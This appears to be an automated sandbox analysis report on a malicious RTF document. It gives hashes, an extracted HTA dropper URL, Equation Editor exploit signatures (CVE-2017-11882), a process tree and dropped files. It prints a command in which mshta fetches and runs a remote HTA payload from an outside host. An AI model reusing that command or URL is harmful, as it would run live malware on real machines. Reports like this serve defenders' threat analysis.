Analysis

  • max time kernel
    119s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240215-en
  • resource tags

    arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
  • submitted
    07-05-2024 19:47

General

  • Target

    217644f5eb50fc0b8be098cbe3875a22_JaffaCakes118.rtf

  • Size

    8KB

  • MD5

    217644f5eb50fc0b8be098cbe3875a22

  • SHA1

    ab0b0d0d4d16690bb559704a716203e58506143b

  • SHA256

    b05ca37ad6339c364fa37a9a1bbc1bb5f7acf191882310c702813b55d1d5e339

  • SHA512

    bec647ae1f76b3797aabeab383019b6e8257da7b829506be88c5854b0c111efc8191d4e7d7c2919ab7b28bc46dfbacad449bc43a83a42d0086d576d822afb9d2

  • SSDEEP

    48:Mp54iWuutGfEjNMtvbDSj3xMa2763eYphyD9LhQQQzQUAUxNhHb11gb90RCZNy7Q:MwuUG5VoWxmuMyRFVS1E9fNDHy4h/1Nv

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://s3.amazonaws.com/icee/ZbYY.hta

Signatures

  • Blocklisted process makes network request 7 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Launches Equation Editor 1 TTPs 1 IoCs

    Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 7 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\217644f5eb50fc0b8be098cbe3875a22_JaffaCakes118.rtf"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2416
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:624
    • C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
      "C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
      1⤵
      • Launches Equation Editor
      • Suspicious use of WriteProcessMemory
      PID:3036
      • C:\Windows\SysWOW64\mshta.exe
        mshta https://s3.amazonaws.com/icee/ZbYY.hta
        2⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Modifies system certificate store
        PID:2568

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

      Filesize

      68KB

      MD5

      29f65ba8e88c063813cc50a4ea544e93

      SHA1

      05a7040d5c127e68c25d81cc51271ffb8bef3568

      SHA256

      1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

      SHA512

      e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

      Filesize

      344B

      MD5

      6992e205528e0eaac438715f1ad110ce

      SHA1

      fe99b278bc1dda5da3123e7ced0a83169404fefd

      SHA256

      7fc25fa09cb0256f0b50e547ba3acc0d1894f93319e39c7b119e58256712744e

      SHA512

      12ecc942b63aea951c7d63d0eb4a313dfc41c60b9ebc2517b47386ac8b16f735aaa4f1e48c258e8b44cadb56cc2c42b183d1c87c5d279f757deb43607cc2f438

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F4EB9D7C.wmf

      Filesize

      162B

      MD5

      975b76e8e77d57cc386af977a08b1e31

      SHA1

      cf893a58ef1a0f4a2f0ad3fe3a241c0c5bbcafa6

      SHA256

      8d80e9b9b39cd00f3bfadb3b2538dc46845fe8d0e7854d5dd9c9c381150dedad

      SHA512

      751eeec3defdc919d4afa72ca90df87649007cf189d5a6bb397a77a339cbd080f1203a67e37325e498375ae5838bb4184a00d4f2c0bff359c33e7f626d782e1c

    • C:\Users\Admin\AppData\Local\Temp\Tar152D.tmp

      Filesize

      177KB

      MD5

      435a9ac180383f9fa094131b173a2f7b

      SHA1

      76944ea657a9db94f9a4bef38f88c46ed4166983

      SHA256

      67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

      SHA512

      1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      0f00606bcbe1eb7bb1388efb52648e9f

      SHA1

      0ff51820e9ae497cc3af432c3924f89a1740036c

      SHA256

      0268323739faf8aad2dc03253f9a739a9dd5ed5d69bbe0b4f461d3b3f571076c

      SHA512

      de35149532395aad0750283475703848df5134b36533e8ce239b2e75cdd9dab67fcebeb408eb57c42e785e1336ab235b9826eeb4b85e0dbc3f5a2167872c2468

    • memory/2416-0-0x000000002FFB1000-0x000000002FFB2000-memory.dmp

      Filesize

      4KB

    • memory/2416-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2416-2-0x00000000714ED000-0x00000000714F8000-memory.dmp

      Filesize

      44KB

    • memory/2416-172-0x00000000714ED000-0x00000000714F8000-memory.dmp

      Filesize

      44KB

    • memory/2416-190-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB